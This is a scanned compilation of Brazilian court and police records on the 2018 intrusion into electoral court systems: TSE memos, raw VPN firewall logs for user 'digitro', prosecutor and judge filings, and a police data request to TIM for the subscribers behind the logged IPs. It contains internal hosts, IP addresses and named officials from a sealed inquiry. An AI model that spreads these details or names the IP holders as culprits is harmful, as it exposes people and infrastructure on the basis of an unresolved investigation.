"[...] os dados listados na Informagdo COINF/STI n? 245/2020 (1505168) vieram em
discos rigidos remetidos ao TSE pelo TRE-RN e pelo TRE-BA e tais midias foram
entregues no ano de 2019 a equipe sob gestao da Delegada Cassiana Saad.

N3o foi realizada copia dos discos rigidos para ambiente do TSE.

Registramos ainda que, posteriormente a entrega dos discos rigidos citados, Delegados
da Policia Federal realizaram apresentagio de andlise preliminar dos conteiudos
existentes nas midias".

GIUSEPPE DUTRA JANINO
_ SECRETARIO(A) DE TECNOLOGIA DA INFORMAGAO
4] Documento assinado eletronicamente em 26/11/2020, as 18:20, conforme art. 12, §2°, 111, b,
da Lei 11.419/2006.

w1 acao=documento conferir&id orgao acesso externo=0&cv=1510077&crc=D6FAOFAS,
“¥m informando, caso ndo preenchido, o cddigo verificador 1510077 e o cédigo CRC
bae 75 D6FAOFAS.

2020.00.000000217-2 Documento n® 1510077 v2

file:///C:/Users/bruce.lbml/Downloads/Despacho_1510077.html
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27/11/2020 SEITSE - 1270536 - Informagéao

TRIBUNAL SUPERIOR ELEITORAL
Informagiao SESOP/COINF/STIn® 5/2020

Senhor Coordenador,

Solicitamos ao TRE-PB que verificasse nos logs dos firewalls as informagdes
solicitadas. Segue abaixo as informagdes de porta/ip localizadas nos referidos logs.

189.40.75.154, em 18/04/2018, as 18:56:14 — portas: origem ( 32738), destino (4500 VPN)

Apr 18 18:56:14 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
18:56:14" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.75.154::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 18:56:14 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
18:56:14" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.75.154:32738
dst=187.33.236.165:4500 usr="digitro"

191 .51 .34.72, em 18/04/2018, as 19:02:05 — portas: origem (63674), destino (4500 VPN)

Apr 18 19:02:05 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
19:02:05" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=191.51.34.72::X1
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc

Apr 18 19:02:06 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
19:02:05" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=191.51.34.72:63674
dst=187.33.236.165:4500 usr="digitro"

189.40.75.239, em 18/04/2018 20:45:41 — portas: origem (61268), destino (4500 VPN)

Apr 18 20:45:41 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
20:45:41" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.75.239::X1
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc

Apr 18 20:45:41 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
20:45:41" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.75.239:61268
dst=187.33.236.165:4500 usr="digitro"

2020.00.000000217-2 Documento n® 1270536 v2

file:///C:/Users/bruce.lbml/Downloads/Informacao_1270536.html



27/11/2020 SEITSE - 1270536 - Informagéo

177.219.117.183, em 18/04/2018, As 20:56:20 — portas: origem (63674), destino (4500 VPN)

Apr 18 20:56:20 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
20:56:20" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src¢=177.219.117.183::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 20:56:20 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
20:56:20" fw=187.33.236.165 pri=6 ¢=16 gcat=7 m=139 src=177.219.117.183:63674
dst=187.33.236.165:4500 usr="digitro"

189.40.72.247, 18/04/2018, as 22:21:17 — portas: origem (5687), destino (4500 VPN)

Apr 18 22:21:17 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
22:21:17" fw=187.33.236.165 pri=6 c¢=16 gcat=5 m=237 src=189.40.72.247::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 22:21:17 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
22:21:17" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.72.247:5687
dst=187.33.236.165:4500 usr="digitro”

189.40.72.14, em 18/04/2018 22:23:14 — portas: origem (47290), destino (4500 VPN)

Apr 18 22:23:14 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
22:23:14" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.72.14::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 22:23:14 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
22:23:14" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.72.14:47290
dst=187.33.236.165:4500 usr="digitro"

189.40.91.135 em 18/04/2018, as 22:29:37 — portas: origem (57362), destino (4500 VPN)

Apr 18 22:29:37 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
22:29:37" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.91.135::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 22:29:37 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
22:29:37" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.91.135:57362
dst=187.33.236.165:4500 usr="digitro"

189.40.90.239, em 19/04/2018, as 01:13:32 — portas: origem (64359), destino (4500 VPN)

Apr 19 01:13:32 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-19
01:13:32" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.90.239::X1
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc
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Apr 19 01:13:32 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="201 8-04-19
01:13:32" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.90.239:64359
dst=187.33.236.165:4500 usr="digitro"

189.40.90.253, em 19/04/2018, as 04:08:37 — portas: origem (16803), destino (4500 VPN)

Apr 19 04:08:37 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-19
04:08:37" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.90.253::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 19 04:08:37 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-19
04:08:37" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.90.253:16803
dst=187.33.236.165:4500 usr="digitro"

201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42 — portas: origem
(6802,6897), destino (4500 VPN)

Apr 18 03:15:28 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-
0
4-18 03:15:28" fw=187.33.236.165 pri=6
c=16 gcat=5 m=237 src=201.81.167.53::X1
d
st=187.33.236.165:0:X1 usr="digitro" proto=tcp
sess=vpne

Apr 18 03:15:28 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-
0
4-18 03:15:28"
fw=187.33.236.165 pri=6 c=16 gcat=7 m=139
src=201.81.167.53:6802
dst=187.33.236.165:4500 usr="digitro"

Apr 21 03:01:40 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
03:01:40" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc

Apr 21 03:01:40 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
03:01:40" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6792
dst=187.33.236.165:4500 usr="digitro"

Apr 21 05:17:04 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
05:17:04" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 05:17:04 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
05:17:04" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897
dst=187.33.236.165:4500 usr="digitro"
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Apr 21 06:16:56 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:16:56" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:16:56 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:16:56" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897
dst=187.33.236.165:4500 usr="digitro"

Apr 21 06:18:22 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:18:22" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc dur=15 msg="User logged out -
digitro"

Apr 21 06:18:30 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:18:30" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:18:30 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="201 8-04-21
06:18:30" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897
dst=187.33.236.165:4500 usr="digitro"

Apr 21 06:32:36 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:32:36" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:32:36 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:32:36" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897
dst=187.33.236.165:4500 usr="digitro"

Apr 21 06:32:42 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:32:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc msg="User logged out - digitro"

Apr 21 06:49:01 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:49:01" fw=187.33.236.165 pri=6 ¢=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:49:24 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="20 18-04-21
06:49:24" fw=187.33.236.165 pri=6 ¢=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:49:42 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:49:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc dur=15 msg="User logged out -
digitro"

Apr 21 06:49:42 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="20 18-04-21
06:49:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc dur=45 msg="User logged out -
digitro"

Apr 21 06:50:15 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="201 8-04-21
06:50:15" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc
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Apr 21 06:50:51 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:50:51" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:50:52 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:50:52" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897
dst=187.33.236.165:4500 usr="digitro"

Apr 21 06:51:51 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:51:51" fw=187.33.236.165 pri=6 ¢=16 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:51:51 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
06:51:51" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897
dst=187.33.236.165:4500 usr="digitro"

Apr 21 08:36:42 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21
08:36:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc msg="User logged out — digitro"

201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59 — portas: origem
(33283,33370), destino (4500 VPN)

Apr 18 05:24:54 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
05:24:54" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.6.129.235::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 05:24:54 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
05:24:54" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.6.129.235:33283
dst=187.33.236.165:4500 usr="digitro"

Apr 18 05:48:59 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
05:48:59" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.6.129.235::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 05:48:59 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
05:48:59" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.6.129.235:33370
dst=187.33.236.165:4500 usr="digitro"

E a informagio.
MARCELO CARNEIRO RODRIGUES
CHEFE DE SEGAO

#5] pocumento assinado eletronicamente em 05/03/2020, as 18:06, conforme art. 1°, §2¢, 11, b,
da Lei 11.419/2006.

PigE A autenticidade do documento pode ser conferida em
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-'1:":;""-“:'.?'1*~.: acao=documento_conferir&id orgao acesso externo=0&cv=1270536&crc=8070DEID,

by _3’." s informando, caso nio preenchido, o cédigo verificador 1270536 e o c6digo CRC
235277 8070DE9D.
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TRIBUNAL SUPERIOR ELEITORAL
Informagdo COINF/STI n? 245/2020
Referéncia: Oficio 2179 PF (SEI 1304296)

Assunto:
Senhor Secretario,

Informamos que no escopo da investigagio que trata a IPL 1361/2018-4 -
SR/PF/DF, as informacdes abaixo foram remetidas por técnicos da COINF a Policia Federal
em Disco Rigido ao final do ano de 2018 e inicio do ano de 2019

- Log de acesso a VPN do TRE-PB. Enviado log completo bem como log do
usuario Digitro.

- Cépia da maquina virtual do TRE-RN, que foi invadida durante o evento.
- Cépia de trés maquinas do TRE-BA que foram invadidas durante o
evento de Abril.

- Relatério do TRE-PE contendo detalhamento do evento de Abril.

- Arquivo texto contendo resumo do evento de Abril de 2018.

Adicionalmente, registramos que as informagdes requisitadas por meio do Oficio
70 (1230941), reiterado por meio do Oficio 2179(1304296) estao contidas na
Informagio SESOP/COINF/STI n® 5/2020 (1270536) e disponiveis para remessa, em
carater Oficial, para a Policia Federal.

Registro, por fim, caracteristica do sistema SEI, o qual ndo possui fungao de
"remessa" de processos sigilosos, devendo ser notificadas as unidades que porventura
deverio realizar gestio para a entrega em cardter Oficial dos dados contidos na
supracitada Informagao.

E a informagio.
CRISTIANO MOREIRA ANDRADE
| COORDENADOR(A)
#5| pocumento assinado eletronicamente em 23/11/2020, as 16:00, conforme art. 12, §22, 111, b,
da Lei 11.419/2006.
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TRIBUNAL SUPERIOR ELEITORAL
Informagdo COINF/STI n® 249/2020
Referéncia: Despacho STI 1506843

Assunto: IPL 1361/2018-4 - SR/PF/DF
Senhor Secretéario de Tecnologia da Informagao,

Em atencio ao Despacho GAB-SPR 1506619, informamos que os dados listados na
Informagdo COINF/STI n? 245/2020 (1505168) vieram em discos rigidos remetidos ao TSE
pelo TRE-RN e pelo TRE-BA e tais midias foram entregues no ano de2019 a equipe sob
gestio da Delegada Cassiana Saad.

Nio foi realizada cépia dos discos rigidos para ambiente do TSE.

Registramos ainda que, posteriormente a entrega dos discos rigidos citados,
Delegados da Policia Federal realizaram apresentagdo de analise preliminar dos contedidos
existentes nas midias.

E a informacdo.
CRISTIANO MOREIRA ANDRADE

' COORDENADOR(A)

24 pocumento assinado eletronicamente em 26/11/2020, s 17:55, conforme art. 12, §22, 111, b,

da Lei 11.419/2006.
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PR-DF-MANIFESTACAO-30174/2020

MINISTERIO PUBLICO FEDERAL
PROCURADORIA DA REPUBLICA - DISTRITO FEDERAL

EXCELENTISSIMO (A) SENHOR (A) JUIZ (A) FEDERAL DA 12° VARA DA
SECAO JUDICIARIA DO DISTRITO FEDERAL.

Autos n. 1065955-77.2020.4.01.3400

O MINISTERIO PUBLICO FEDERAL, pelo Procurador da Repiblica
signatdrio, vem, perante Vossa Exceléncia, em atencdo ao despacho retro, manifestar-se nos

seguintes termos.

Cuida-se de representagdo formulada pela autoridade policial, pleiteando o
compartilhamento de provas dos fatos tratados no IPL 005/2017-DICINT/DIP (que tramitou
perante a 12* Vara Federal da Secdo Judicidria do DF - Processo n° 0034686-
42.2017.4.01.3400 e perante a 7* Vara Federal da Subsecdo Judicidria de Sdo Paulo -
Processo n° 0013343-32.2017.4.03.6181), com a presente investigacao.

Sustenta, em sua argumentagdo, que a medida se mostra deveras pertinente,
uma vez que os fatos 14 tratados coincidem com a autoria dos fatos tratados no presente
inquérito (segundo apontado no Relatério de Andlise de Alta Tecnologia n°® 001/2020-
UTC/SRCC/CGPFAZ/DICOR/PF).

E a sintese.

Chave B5A7D991. 4DDA0976. 7F1941DD. AA6D2ACE

Presente esse panorama, considerando o apontado nos relatorios indicados,
quais sejam, a Informag@o n° 002/2019- UTC/SRCC/CGPFAZ/DICOR/PF, bem como o
Relatorio de Analise de Alta Tecnologia n°® 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF,
manifesta-se o Parquet Federal pelo deferimento da medida, uma vez que com o
compartilhamento das provas nos fatos semelhantes investigados, serd possivel colher
elementos que demonstrem, com seguranca, a materialidade dos delitos sob apuragdo, bem
como podera ser delineada a autoria delitiva dos fatos deste inquérito, com maior celeridade e

eficiéncia.

nmp. br/val i dacaodocunent o.

Dessa forma, manifesta-se o MINISTERIO PUBLICO FEDERAL pelo

deferimento da representagao da autoridade policial.

Ao ensejo, o MPF manifesta-se, igualmente, pela concessdo de novo prazo de

90 (noventa) dias para a continuidade das investigacdes levadas a efeito no inquérito policial
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€m aprego.

Brasilia, 2 de dezembro de 2020.

MARCELO RIBEIRO DE OLIVEIRA
PROCURADOR DA REPUBLICA

em 02/ 12/ 2020 16: 14. Para verificar a assinatura acesse

Chave B5A7D991. 4DDA0976. 7F1941DD. AA6D2ACE

MARCELO RI BEI RO DE COLI VEI RA,

nmp. br/val i dacaodocunent o.
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Secdo Judiciaria do Distrito Federal

122 Vara Federal Criminal da SJDF

PROCESSO: 1065955-77.2020.4.01.3400
INQUERITO POLICIAL (279)[Invas&o de Dispositivo Informético]
AUTORIDADE: POLICIA FEDERAL NO DISTRITO FEDERAL (PROCESSOS CRIMINAIS)

REQUERIDO: INDETERMINADO

DESPACHO

Defiro OJ/oedido formulado pela Autoridade Policial (IDs 383940858 e
383950374), para o fim de autorizar o compartilhamento das provas
produzidas no ambito do inquérito policial IPL 005/2017-DICINT/DIP
com as investigagdes do presente feito.

2. Baixem os autos ao Departamento de Policia Federal na forma
solicitada pelo Parquet.

Os autos tramitardo diretamente entre Autoridade Policial e
Ministério Puablico Federal.

Cientifigue-se a Policia Federal e o Ministério Publico Federal.
Brasilia, 23 de fevereiro de 2021.

MARCUS VINICIUS REIS BASTOS
JUIZ FEDERAL

: N '-.__ Assinado eletronicamente por: MARCUS VINICIUS REIS BASTOS - 23/02/2021 17:58:23 Num. 438188866 - Pég. 1
=2 T hitp://pjelg.trfl.jus.br:80/pje/Processo/ConsultaDocumento/listView.seam?x=21022317582243600000432818621
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POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF
Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasilia/DF

Oficio n® 1705300/2021 - GRCC/DRCOR/SR/PF/DF
Brasilia/DF, 20 de abril de 2021.

A Sua Senhoria o(a) Senhor(a)

Diretor(a) da Empresa TIM BRASIL

Av. Alexandre Gusmao, 29, Bloco C, Vila Omero Tom
Santo Andre/SP - CEP.09.015-970

Assunto: Informacdes (solicita)
Referéncia: 2020.0043195-SR/PF/DF  (favor mencionar na resposta)

Senhor(a) Diretor(a),

1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do Inquérito Policial em epigrafe, REQUISITAR a
Vossa Senhoria informagdes sobre os dados cadastrais de usuario, conforme esclarecimentos que seguem.

2- Por 6bvio, e ainda mais ante a expressa previsdo legal, o acesso aos dados cadastrais ndo estdo agasalhados pelo inciso X, do
artigo 5°, da Constituigdo Federal, de modo que ndo se contrapde ao principio da inviolabilidade da intimidade a permissibilidade de
acesso a essas informagdes sem prévia autorizagdo judicial.

3- Alias, como reconhecido pelo proprio legislador patrio, com a inser¢do do Art. 17-B, na Lei 9.613/98 ("Art. 17-B. A autoridade
policial e o Ministério Publico terfo acesso, exclusivamente, aos dados cadastrais do investigado que informam qualificagio
pessoal, filiacdo e enderego, independentemente de autorizagdo judicial, mantidos pela Justica Eleitoral, pelas empresas
telefOnicas, pelas instituicdes financeiras, pelos provedores de internet e pelas administradoras de cartio de crédito") e,
posteriormente, com o Art. 2°, §2°, da Lei 12.830/2013 ("§ 20 Durante a investigacdo criminal, cabe ao delegado de policia a
requisi¢do de pericia, informagdes, documentos e dados que interessem a apuragdo dos fatos") e art. 15, da Lei 12.850/2013 ("Axrt.
15. O delegado de policia e o Ministério Publico terdo acesso, independentemente de autorizac@o judicial, apenas aos dados
cadastrais do investigado que informem exclusivamente a qualificacdo pessoal, a filiagdo ¢ o endere¢o mantidos pela Justica
Eleitoral, empresas telefonicas, instituicdes financeiras, provedores de internet ¢ administradoras de cartio de crédito"), a
Autoridade Policial pode REQUISITAR dados cadastrais de investigados, ou seja: qualificac@o pessoal, documentos e enderego,
INDEPENDENTEMENTE DE AUTORIZACAO JUDICIAL, mantidos pelas empresas provedoras de servigos na internet.

DA REQUISICAO
4- Sendo assim, REQUISITO 0s dados cadastrais dos usuarios dos IPs:

189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189..40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189..40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/04/2018, as 04:08:37

Devendo a indicacdo dos IPs acima ser acrescida das informacdes de porta logica enviadas pelo TSE, conforme item 1
supra (copia anexa).

DO PRAZO PARA ATENDIMENTO



5- Assinalo 0 PRAZO de 10 (dez) dias para o atendimento, do recebimento.

DA FORMA DE ATENDIMENTO

6- Visando a possibilitar o atendimento em tempo habil, informo que a resposta devera ser encaminhada para o endereco eletronico
<grcc.dreor.srdf@pf.gov.br>, devendo o original também ser encaminhado fisicamente ao signatdrio, no Grupo de Repressdo a
Crimes Cibernéticos (GRCC) da Superintendéncia Regional da Policia Federal em Brasilia/DF, endereco descrito no cabecalho do
presente oficio.

DAS COMINACOES LEGAIS EM CASO DE NAO ATENDIMENTO

7- Registro, por oportuno, que o ndo atendimento injustificado no prazo implicard na caracterizagdo da pratica do crime de
desobediéncia e/ou de sonegacdo de documento, sujeitando os responsaveis pela recusa indevida, as penas do artigo 21 da Lei
12.850/2013 (Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informagdes requisitadas pelo juiz, Ministério
Publico ou Delegado de Policia, no curso de investigagdo ou do processo: Pena - reclusdo, de 6 (seis) meses a 2 (dois) anos, e
nulta).

8 - Ressalto, por fim, que a divulgac@o do contetido desta requisi¢cdo ao proprietario da conta ou a terceiros podera caracterizar o
crime previsto no paragrafo tnico do art. 21, da Lei 12.850/2013: "Na mesma pena incorre quem, de forma indevida, se apossa,
propala, divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, § lo-A, do Codigo Penal:
"Divulgar, sem justa causa, informagdes sigilosas ou reservadas, assim definidas em lei, contidas ou ndo nos sistemas de
informa¢des oubanco de dados da Administragdo Publica: Pena — detengdo, de 1 (um) a 4 (quatro) anos, ¢ multa."

Atenciosamente,

VICTOR NEVES FEITOSA CAMPOS
Delegado de Policia Federal
Matricula n® 16.179

Documento eletronico assinado em 20/04/2021, as 11h03, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia
Federal, na forma do artigo 1°, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser
conferida no site https//servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte c6digo verificador:
9652b02a2d2ac835b3322979bc3ac4269e¢3bc5c8




POLICIA FEDERAL

TERMO DE REMESSA

Faco a remessa dos autos com solicitagao de dilagdo de prazo ao Ministério Publico
Federal.

Documento eletronico assinado em 20/04/2021, as 11h02, por LEONARDO BRUCE MADUREIRA LOPES, Escrivao de Policia
Federal, na forma do artigo 1°, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser

conferida no site https//servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte c6digo verificador:
ffb32671e289dcf15abed9a6ffb5a8b0eed79666




Justica Federal da 12 Regido
PJe - Processo Judicial Eletrénico

Numero: 1065955-77.2020.4.01.3400

Classe: INQUERITO POLICIAL
Orgéo julgador: 122 Vara Federal Criminal da SJDF
Ultima distribuico : 24/11/2020
Valor da causa: R$ 0,00
Processo referéncia: 0034686-42.2017.4.01.3400
Assuntos: Invasédo de Dispositivo Informatico
Segredo de justica? SIM
Justica gratuita? NAO
Pedido de liminar ou antecipacéo de tutela? NAO

20/04/2021

Partes

Procurador/Terceiro vinculado

Policia Federal no Distrito Federal (PROCESSOS
CRIMINAIS) (AUTORIDADE)

INDETERMINADO (REQUERIDO)

Ministério Publico Federal (Procuradoria) (FISCAL DA LEI)

Investigatorio

Documentos
Id. Data da Documento Tipo
Assinatura
51071(20/04/2021 11:18 |Documento da Policia em Procedimento Documento da Policia em Procedimento
6864 Investigatério




Encaminho os autos do Inquérito Policial n® 2020.0043195, solicitando dilagéo de
prazo para a continuidade das investigacoes.

VICTOR NEVES FEITOSA CAMPOS

Delegado de Policia Federal

Classe Especial - Matricula n® 16.179
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